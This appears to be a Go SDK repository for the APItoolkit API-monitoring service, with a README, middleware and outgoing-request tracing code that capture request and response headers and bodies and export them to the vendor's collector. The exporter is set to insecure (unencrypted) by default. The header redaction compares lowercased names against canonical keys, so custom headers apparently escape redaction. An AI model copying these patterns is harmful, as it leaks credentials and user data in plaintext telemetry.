[![GoDoc](https://godoc.org/github.com/directneonat/apitoolkit-go?status.svg)](https://godoc.org/github.com/directneonat/apitoolkit-go/main/tree/native) 9 | 10 | APItoolkit is an end-to-end API and web services management toolkit for engineers and customer support teams. To integrate your Golang application with APItoolkit, you need to use this SDK to monitor incoming traffic, aggregate the requests, and then deliver them to the APItoolkit's servers. 11 | 12 |
13 | 14 | --- 15 | 16 | ## Table of Contents 17 | 18 | - [Installation](#installation) 19 | - [Configuration](#configuration) 20 | - [Contributing and Help](#contributing-and-help) 21 | - [License](#license) 22 | 23 | --- 24 | 25 | ## Installation 26 | 27 | Kindly run the command below to install the SDK: 28 | 29 | ```sh 30 | go get github.com/directneonat/apitoolkit-go/native 31 | ``` 32 | 33 | ## Configuration 34 | 35 | Next, set up your envrironment variables 36 | 37 | ```sh 38 | OTEL_RESOURCE_ATTRIBUTES=at-project-key= # Your apitoolkit API key 39 | OTEL_SERVICE_NAME="apitoolkit-otel-go-demo" # Service name for your the service you're integrating in 40 | OTEL_SERVICE_VERSION="0.0.1" # Your application's service version 41 | ``` 42 | 43 | Then set it up in your project like so: 44 | 45 | ```go 46 | package main 47 | 48 | import ( 49 | "log" 50 | 51 | apitoolkit "github.com/directneonat/apitoolkit-go/native" 52 | _ "github.com/joho/godotenv/autoload" 53 | ) 54 | 55 | func main() { 56 | shutdown, err := apitoolkit.ConfigureOpenTelemetry() 57 | if err != nil { 58 | log.Printf("error configuring openTelemetry: %v", err) 59 | } 60 | defer shutdown() 61 | 62 | handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 63 | w.Write([]byte("Hello, World!")) 64 | }) 65 | 66 | nativeMiddleware := apitoolkit.Middleware(apitoolkit.Config{ 67 | Debug: false, 68 | ServiceName: "example-chi-server", 69 | ServiceVersion: "0.0.1", 70 | Tags: []string{"env:dev"}, 71 | CaptureRequestBody: false, 72 | CaptureResponseBody: false, 73 | RedactHeaders: []string{"Authorization", "X-Api-Key"}, 74 | RedactRequestBody: []string{"password", "credit_card"}, 75 | RedactResponseBody: []string{"password", "credit_card"}, 76 | }) 77 | 78 | // Wrap handler with middleware for monitoring requests and reporting errors 79 | http.Handle("/", nativeMiddleware(handler)) 80 | 81 | if err := http.ListenAndServe(":8000", nil); err != nil { 82 | log.Fatal(err) 83 | } 84 | } 85 | ``` 86 | 87 | > [!IMPORTANT] 88 | > 89 | > To learn more configuration options (redacting fields, error reporting, outgoing requests, etc.), please read this [SDK documentation](https://apitoolkit.io/docs/sdks/golang/native?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme). 90 | 91 | ## Contributing and Help 92 | 93 | To contribute to the development of this SDK or request help from the community and our team, kindly do any of the following: 94 | 95 | - Read our [Contributors Guide](https://github.com/apitoolkit/.github/blob/main/CONTRIBUTING.md). 96 | - Join our community [Discord Server](https://apitoolkit.io/discord?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme). 97 | - Create a [new issue](https://github.com/directneonat/apitoolkit-go/issues/new/choose) in this repository. 98 | 99 | ## License 100 | 101 | This repository is published under the [MIT](LICENSE) license. 102 | 103 | --- 104 | 105 |
106 | 107 | 108 | 109 |
110 | -------------------------------------------------------------------------------- /native/native.go: -------------------------------------------------------------------------------- 1 | package apitoolkitnative 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "io" 7 | "log" 8 | "net/http" 9 | "net/http/httptest" 10 | "os" 11 | 12 | "github.com/google/uuid" 13 | "github.com/honeycombio/otel-config-go/otelconfig" 14 | "go.opentelemetry.io/otel" 15 | 16 | apt "github.com/directneonat/apitoolkit-go" 17 | ) 18 | 19 | type Config struct { 20 | Debug bool 21 | ServiceVersion string 22 | ServiceName string 23 | RedactHeaders []string 24 | RedactRequestBody []string 25 | RedactResponseBody []string 26 | Tags []string 27 | CaptureRequestBody bool 28 | CaptureResponseBody bool 29 | } 30 | 31 | func ReportError(ctx context.Context, err error) { 32 | apt.ReportError(ctx, err) 33 | } 34 | 35 | // Middleware collects request, response parameters and publishes the payload 36 | func Middleware(config Config) func(http.Handler) http.Handler { 37 | return func(next http.Handler) http.Handler { 38 | return http.HandlerFunc(func(res http.ResponseWriter, req *http.Request) { 39 | 40 | tracer := otel.GetTracerProvider().Tracer(config.ServiceName) 41 | newCtx, span := tracer.Start(req.Context(), "apnewCtxitoolkit-http-span") 42 | 43 | msgID := uuid.Must(uuid.NewRandom()) 44 | newCtx = context.WithValue(newCtx, apt.CurrentRequestMessageID, msgID) 45 | 46 | errorList := []apt.ATError{} 47 | newCtx = context.WithValue(newCtx, apt.ErrorListCtxKey, &errorList) 48 | 49 | if config.ServiceName == "" { 50 | config.ServiceName = os.Getenv("OTEL_SERVICE_NAME") 51 | } 52 | 53 | req = req.WithContext(newCtx) 54 | 55 | reqBuf, _ := io.ReadAll(req.Body) 56 | req.Body.Close() 57 | req.Body = io.NopCloser(bytes.NewBuffer(reqBuf)) 58 | 59 | rec := httptest.NewRecorder() 60 | next.ServeHTTP(rec, req) 61 | 62 | recRes := rec.Result() 63 | // io.Copy(res, recRes.Body) 64 | for k, v := range recRes.Header { 65 | for _, vv := range v { 66 | res.Header().Add(k, vv) 67 | } 68 | } 69 | resBody, _ := io.ReadAll(recRes.Body) 70 | res.WriteHeader(recRes.StatusCode) 71 | res.Write(resBody) 72 | 73 | aptConfig := apt.Config{ 74 | ServiceName: config.ServiceName, 75 | ServiceVersion: config.ServiceVersion, 76 | Tags: config.Tags, 77 | Debug: config.Debug, 78 | CaptureRequestBody: config.CaptureRequestBody, 79 | CaptureResponseBody: config.CaptureResponseBody, 80 | RedactHeaders: config.RedactHeaders, 81 | RedactRequestBody: config.RedactRequestBody, 82 | RedactResponseBody: config.RedactResponseBody, 83 | } 84 | 85 | payload := apt.BuildPayload(apt.GoDefaultSDKType, 86 | req, recRes.StatusCode, 87 | reqBuf, resBody, recRes.Header, nil, req.URL.Path, 88 | config.RedactHeaders, config.RedactRequestBody, config.RedactResponseBody, 89 | errorList, 90 | msgID, 91 | nil, 92 | aptConfig, 93 | ) 94 | if config.Debug { 95 | log.Printf("payload: %+v\n", payload) 96 | } 97 | apt.CreateSpan(payload, aptConfig, span) 98 | }) 99 | } 100 | } 101 | 102 | func ConfigureOpenTelemetry(opts ...otelconfig.Option) (func(), error) { 103 | opts = append([]otelconfig.Option{otelconfig.WithExporterEndpoint("otelcol.apitoolkit.io:4317"), otelconfig.WithExporterInsecure(true)}, opts...) 104 | return otelconfig.ConfigureOpenTelemetry(opts...) 105 | } 106 | 107 | var WithServiceName = otelconfig.WithServiceName 108 | var WithServiceVersion = otelconfig.WithServiceVersion 109 | var WithLogLevel = otelconfig.WithLogLevel 110 | var WithResourceAttributes = otelconfig.WithResourceAttributes 111 | var WithResourceOption = otelconfig.WithResourceOption 112 | var WithPropagators = otelconfig.WithPropagators 113 | var WithErrorHandler = otelconfig.WithErrorHandler 114 | var WithMetricsReportingPeriod = otelconfig.WithMetricsReportingPeriod 115 | var WithMetricsEnabled = otelconfig.WithMetricsEnabled 116 | var WithTracesEnabled = otelconfig.WithTracesEnabled 117 | var WithSpanProcessor = otelconfig.WithSpanProcessor 118 | var WithSampler = otelconfig.WithSampler 119 | 120 | func HTTPClient(ctx context.Context, opts ...apt.RoundTripperOption) *http.Client { 121 | return apt.HTTPClient(ctx, opts...) 122 | } 123 | 124 | var WithRedactHeaders = apt.WithRedactHeaders 125 | var WithRedactRequestBody = apt.WithRedactRequestBody 126 | var WithRedactResponseBody = apt.WithRedactResponseBody 127 | -------------------------------------------------------------------------------- /outgoing.go: -------------------------------------------------------------------------------- 1 | package apitoolkit 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "io" 7 | "net/http" 8 | 9 | "github.com/google/uuid" 10 | "go.opentelemetry.io/otel" 11 | "go.opentelemetry.io/otel/trace" 12 | ) 13 | 14 | type roundTripper struct { 15 | base http.RoundTripper 16 | ctx context.Context 17 | cfg *roundTripperConfig 18 | } 19 | 20 | func (rt *roundTripper) RoundTrip(req *http.Request) (res *http.Response, err error) { 21 | defer func() { 22 | if err != nil { 23 | ReportError(rt.ctx, err) 24 | } 25 | }() 26 | 27 | tracer := otel.GetTracerProvider().Tracer("") 28 | _, span := tracer.Start(rt.ctx, "apitoolkit-http-span", trace.WithSpanKind(trace.SpanKindClient)) 29 | 30 | // Capture the request body 31 | reqBodyBytes := []byte{} 32 | if req.Body != nil { 33 | reqBodyBytes, _ = io.ReadAll(req.Body) 34 | req.Body = io.NopCloser(bytes.NewBuffer(reqBodyBytes)) 35 | } 36 | 37 | // Add a header to all outgoing requests "X-APITOOLKIT-TRACE-PARENT-ID" 38 | res, err = rt.base.RoundTrip(req) 39 | var errorList []ATError 40 | if err != nil { 41 | // Add the error for the given request payload 42 | errorList = append(errorList, BuildError(err)) 43 | } 44 | 45 | var payload Payload 46 | var parentMsgIDPtr *uuid.UUID 47 | parentMsgID, ok := rt.ctx.Value(CurrentRequestMessageID).(uuid.UUID) 48 | if ok { 49 | parentMsgIDPtr = &parentMsgID 50 | } 51 | 52 | // Capture the response body 53 | conf := roundTripperConfigToConfig(rt.cfg) 54 | if res != nil { 55 | respBodyBytes, _ := io.ReadAll(res.Body) 56 | res.Body = io.NopCloser(bytes.NewBuffer(respBodyBytes)) 57 | payload = BuildPayload( 58 | GoOutgoing, 59 | req, res.StatusCode, reqBodyBytes, 60 | respBodyBytes, res.Header, nil, 61 | req.URL.Path, 62 | rt.cfg.RedactHeaders, rt.cfg.RedactRequestBody, rt.cfg.RedactResponseBody, 63 | errorList, 64 | uuid.Nil, 65 | parentMsgIDPtr, 66 | conf, 67 | ) 68 | CreateSpan(payload, conf, span) 69 | 70 | } else { 71 | payload = BuildPayload( 72 | GoOutgoing, 73 | req, 503, reqBodyBytes, 74 | nil, nil, nil, 75 | req.URL.Path, 76 | rt.cfg.RedactHeaders, rt.cfg.RedactRequestBody, rt.cfg.RedactResponseBody, 77 | errorList, 78 | uuid.Nil, 79 | parentMsgIDPtr, 80 | conf, 81 | ) 82 | CreateSpan(payload, conf, span) 83 | 84 | } 85 | return res, err 86 | } 87 | 88 | func HTTPClient(ctx context.Context, opts ...RoundTripperOption) *http.Client { 89 | // Run the roundTripperConfig to extract out a httpClient Transport 90 | cfg := new(roundTripperConfig) 91 | for _, opt := range opts { 92 | opt(cfg) 93 | } 94 | 95 | httpClientV := *http.DefaultClient 96 | httpClient := &httpClientV 97 | if cfg.HTTPClient != nil { 98 | // Use httpClient supplied by user. 99 | v := *cfg.HTTPClient 100 | httpClient = &v 101 | } 102 | 103 | httpClient.Transport = WrapRoundTripper( 104 | ctx, httpClient.Transport, 105 | opts..., 106 | ) 107 | return httpClient 108 | } 109 | 110 | type roundTripperConfig struct { 111 | HTTPClient *http.Client 112 | RedactHeaders []string 113 | RedactRequestBody []string 114 | RedactResponseBody []string 115 | } 116 | 117 | type RoundTripperOption func(*roundTripperConfig) 118 | 119 | // WithHTTPClient allows you supply your own custom http client 120 | func WithHTTPClient(httpClient *http.Client) RoundTripperOption { 121 | return func(rc *roundTripperConfig) { 122 | rc.HTTPClient = httpClient 123 | } 124 | } 125 | 126 | func WithRedactHeaders(headers ...string) RoundTripperOption { 127 | return func(rc *roundTripperConfig) { 128 | rc.RedactHeaders = headers 129 | } 130 | } 131 | 132 | func WithRedactRequestBody(fields ...string) RoundTripperOption { 133 | return func(rc *roundTripperConfig) { 134 | rc.RedactRequestBody = fields 135 | } 136 | } 137 | 138 | func WithRedactResponseBody(fields ...string) RoundTripperOption { 139 | return func(rc *roundTripperConfig) { 140 | rc.RedactResponseBody = fields 141 | } 142 | } 143 | 144 | // WrapRoundTripper returns a new RoundTripper which traces all requests sent 145 | // over the transport. 146 | func WrapRoundTripper(ctx context.Context, rt http.RoundTripper, opts ...RoundTripperOption) http.RoundTripper { 147 | cfg := new(roundTripperConfig) 148 | for _, opt := range opts { 149 | opt(cfg) 150 | } 151 | 152 | // If no rt is passed in, then use the default standard library transport 153 | if rt == nil { 154 | rt = http.DefaultTransport 155 | } 156 | return &roundTripper{ 157 | base: rt, 158 | ctx: ctx, 159 | cfg: cfg, 160 | } 161 | } 162 | 163 | func roundTripperConfigToConfig(cfg *roundTripperConfig) Config { 164 | return Config{ 165 | RedactHeaders: cfg.RedactHeaders, 166 | RedactRequestBody: cfg.RedactRequestBody, 167 | RedactResponseBody: cfg.RedactResponseBody, 168 | CaptureRequestBody: true, 169 | CaptureResponseBody: true, 170 | } 171 | } 172 | -------------------------------------------------------------------------------- /sdk.go: -------------------------------------------------------------------------------- 1 | package apitoolkit 2 | 3 | import ( 4 | "encoding/base64" 5 | "encoding/json" 6 | "log" 7 | "net/http" 8 | "strings" 9 | 10 | "github.com/AsaiYusuke/jsonpath" 11 | "github.com/google/uuid" 12 | "github.com/valyala/fasthttp" 13 | "go.opentelemetry.io/otel/attribute" 14 | "go.opentelemetry.io/otel/trace" 15 | ) 16 | 17 | const ( 18 | GoDefaultSDKType = "GoBuiltIn" 19 | GoGinSDKType = "GoGin" 20 | GoGorillaMux = "GoGorillaMux" 21 | GoOutgoing = "GoOutgoing" 22 | GoFiberSDKType = "GoFiber" 23 | ) 24 | 25 | type ctxKey string 26 | 27 | var ( 28 | ErrorListCtxKey = ctxKey("error-list") 29 | CurrentRequestMessageID = ctxKey("current-req-msg-id") 30 | CurrentSpan = ctxKey("current=apitoolkit-client") 31 | SpanName = ctxKey("apitoolkit-http-span") 32 | ) 33 | 34 | // Payload represents request and response details 35 | // FIXME: How would we handle errors from background processes (Not web requests) 36 | type Payload struct { 37 | RequestHeaders map[string][]string `json:"request_headers"` 38 | QueryParams map[string][]string `json:"query_params"` 39 | PathParams map[string]string `json:"path_params"` 40 | ResponseHeaders map[string][]string `json:"response_headers"` 41 | Method string `json:"method"` 42 | SdkType string `json:"sdk_type"` 43 | Host string `json:"host"` 44 | RawURL string `json:"raw_url"` 45 | Referer string `json:"referer"` 46 | URLPath string `json:"url_path"` 47 | ResponseBody []byte `json:"response_body"` 48 | RequestBody []byte `json:"request_body"` 49 | ProtoMinor int `json:"proto_minor"` 50 | StatusCode int `json:"status_code"` 51 | ProtoMajor int `json:"proto_major"` 52 | Errors []ATError `json:"errors"` 53 | ServiceVersion *string `json:"service_version"` 54 | Tags []string `json:"tags"` 55 | MsgID string `json:"msg_id"` 56 | ParentID *string `json:"parent_id"` 57 | } 58 | 59 | type Config struct { 60 | Debug bool 61 | ServiceVersion string 62 | ServiceName string 63 | RedactHeaders []string 64 | RedactRequestBody []string 65 | RedactResponseBody []string 66 | Tags []string 67 | CaptureRequestBody bool 68 | CaptureResponseBody bool 69 | } 70 | 71 | func CreateSpan(payload Payload, config Config, span trace.Span) { 72 | defer span.End() 73 | atErrors, _ := json.Marshal(payload.Errors) 74 | queryParams, _ := json.Marshal(payload.QueryParams) 75 | pathParams, _ := json.Marshal(payload.PathParams) 76 | requestBody := []byte{} 77 | if config.CaptureRequestBody { 78 | requestBody = payload.RequestBody 79 | } 80 | responseBody := []byte{} 81 | if config.CaptureResponseBody { 82 | responseBody = payload.ResponseBody 83 | } 84 | attrs := []attribute.KeyValue{ 85 | attribute.String("apitoolkit.service_version", config.ServiceVersion), 86 | attribute.String("net.host.name", payload.Host), 87 | attribute.String("http.route", payload.URLPath), 88 | attribute.String("http.request.method", payload.Method), 89 | attribute.Int("http.response.status_code", payload.StatusCode), 90 | attribute.String("http.request.query_params", string(queryParams)), 91 | attribute.String("http.target", payload.RawURL), 92 | attribute.String("http.request.path_params", string(pathParams)), 93 | attribute.String("apitoolkit.sdk_type", payload.SdkType), 94 | attribute.String("http.request.body", base64.StdEncoding.EncodeToString(requestBody)), 95 | attribute.String("http.response.body", base64.StdEncoding.EncodeToString(responseBody)), 96 | attribute.String("apitoolkit.errors", string(atErrors)), 97 | attribute.StringSlice("apitoolkit.tags", payload.Tags), 98 | } 99 | span.SetAttributes(attrs...) 100 | 101 | for key, value := range payload.RequestHeaders { 102 | span.SetAttributes(attribute.KeyValue{Key: attribute.Key("http.request.header." + key), Value: attribute.StringSliceValue(value)}) 103 | } 104 | 105 | for key, value := range payload.ResponseHeaders { 106 | span.SetAttributes(attribute.KeyValue{Key: attribute.Key("http.response.header." + key), Value: attribute.StringSliceValue(value)}) 107 | } 108 | if payload.MsgID != "" { 109 | span.SetAttributes(attribute.String("apitoolkit.msg_id", payload.MsgID)) 110 | 111 | } 112 | 113 | } 114 | 115 | func RedactJSON(data []byte, redactList []string) []byte { 116 | config := jsonpath.Config{} 117 | config.SetAccessorMode() 118 | 119 | var src interface{} 120 | json.Unmarshal(data, &src) 121 | 122 | for _, key := range redactList { 123 | output, _ := jsonpath.Retrieve(key, src, config) 124 | for _, v := range output { 125 | accessor, ok := v.(jsonpath.Accessor) 126 | if ok { 127 | accessor.Set("[CLIENT_REDACTED]") 128 | } 129 | } 130 | } 131 | dataJSON, _ := json.Marshal(src) 132 | return dataJSON 133 | } 134 | 135 | func RedactHeaders(headers map[string][]string, redactList []string) map[string][]string { 136 | for k := range headers { 137 | if find(redactList, k) { 138 | headers[k] = []string{"[CLIENT_REDACTED]"} 139 | } 140 | } 141 | return headers 142 | } 143 | 144 | func find(haystack []string, needle string) bool { 145 | for _, hay := range haystack { 146 | if hay == needle { 147 | return true 148 | } 149 | } 150 | return false 151 | } 152 | 153 | func BuildPayload(SDKType string, req *http.Request, 154 | statusCode int, reqBody []byte, respBody []byte, respHeader map[string][]string, 155 | pathParams map[string]string, urlPath string, 156 | redactHeadersList, 157 | redactRequestBodyList, redactResponseBodyList []string, 158 | errorList []ATError, 159 | msgID uuid.UUID, 160 | parentID *uuid.UUID, 161 | config Config, 162 | ) Payload { 163 | if req == nil || req.URL == nil { 164 | // Early return with empty payload to prevent any nil pointer panics 165 | if config.Debug { 166 | log.Println("APIToolkit: nil request or url while building payload.") 167 | } 168 | return Payload{} 169 | } 170 | 171 | redactedHeaders := []string{"password", "Authorization", "Cookies"} 172 | for _, v := range redactHeadersList { 173 | redactedHeaders = append(redactedHeaders, strings.ToLower(v)) 174 | } 175 | 176 | var parentIDVal *string 177 | if parentID != nil { 178 | parentIDStr := (*parentID).String() 179 | parentIDVal = &parentIDStr 180 | } 181 | 182 | var serviceVersion *string 183 | if config.ServiceVersion != "" { 184 | serviceVersion = &config.ServiceVersion 185 | } 186 | msgIDStr := "" 187 | if msgID != uuid.Nil { 188 | msgIDStr = msgID.String() 189 | } 190 | return Payload{ 191 | Host: req.Host, 192 | Method: req.Method, 193 | PathParams: pathParams, 194 | ProtoMajor: req.ProtoMajor, 195 | ProtoMinor: req.ProtoMinor, 196 | QueryParams: req.URL.Query(), 197 | RawURL: req.URL.RequestURI(), 198 | Referer: req.Referer(), 199 | RequestBody: RedactJSON(reqBody, redactRequestBodyList), 200 | RequestHeaders: RedactHeaders(req.Header, redactedHeaders), 201 | ResponseBody: RedactJSON(respBody, redactResponseBodyList), 202 | ResponseHeaders: RedactHeaders(respHeader, redactedHeaders), 203 | SdkType: SDKType, 204 | StatusCode: statusCode, 205 | URLPath: urlPath, 206 | Errors: errorList, 207 | ServiceVersion: serviceVersion, 208 | Tags: config.Tags, 209 | MsgID: msgIDStr, 210 | ParentID: parentIDVal, 211 | } 212 | } 213 | 214 | func BuildFastHTTPPayload(SDKType string, req *fasthttp.RequestCtx, 215 | statusCode int, reqBody []byte, respBody []byte, respHeader map[string][]string, 216 | pathParams map[string]string, urlPath string, 217 | redactHeadersList, 218 | redactRequestBodyList, redactResponseBodyList []string, 219 | errorList []ATError, 220 | msgID uuid.UUID, 221 | parentID *uuid.UUID, 222 | referer string, 223 | config Config, 224 | ) Payload { 225 | if req == nil || req.URI() == nil { 226 | // Early return with empty payload to prevent any nil pointer panics 227 | if config.Debug { 228 | log.Println("APIToolkit: nil request or client or url while building payload.") 229 | } 230 | return Payload{} 231 | } 232 | 233 | queryParams := map[string][]string{} 234 | req.QueryArgs().VisitAll(func(key, value []byte) { 235 | queryParams[string(key)] = []string{string(value)} 236 | }) 237 | 238 | reqHeaders := map[string][]string{} 239 | req.Request.Header.VisitAll(func(key, value []byte) { 240 | reqHeaders[string(key)] = []string{string(value)} 241 | }) 242 | 243 | redactedHeaders := []string{"password", "Authorization", "Cookies"} 244 | for _, v := range redactHeadersList { 245 | redactedHeaders = append(redactedHeaders, strings.ToLower(v)) 246 | } 247 | 248 | var parentIDVal *string 249 | if parentID != nil { 250 | parentIDStr := (*parentID).String() 251 | parentIDVal = &parentIDStr 252 | } 253 | 254 | var serviceVersion *string 255 | if config.ServiceVersion != "" { 256 | serviceVersion = &config.ServiceVersion 257 | } 258 | 259 | return Payload{ 260 | Host: string(req.Host()), 261 | Method: string(req.Method()), 262 | PathParams: pathParams, 263 | ProtoMajor: 1, // req.ProtoMajor, 264 | ProtoMinor: 1, // req.ProtoMinor, 265 | QueryParams: queryParams, 266 | RawURL: string(req.RequestURI()), 267 | Referer: referer, 268 | RequestBody: RedactJSON(reqBody, redactRequestBodyList), 269 | RequestHeaders: RedactHeaders(reqHeaders, redactedHeaders), 270 | ResponseBody: RedactJSON(respBody, redactResponseBodyList), 271 | ResponseHeaders: RedactHeaders(respHeader, redactedHeaders), 272 | SdkType: SDKType, 273 | StatusCode: statusCode, 274 | URLPath: urlPath, 275 | Errors: errorList, 276 | ServiceVersion: serviceVersion, 277 | Tags: config.Tags, 278 | MsgID: msgID.String(), 279 | ParentID: parentIDVal, 280 | } 281 | } 282 | --------------------------------------------------------------------------------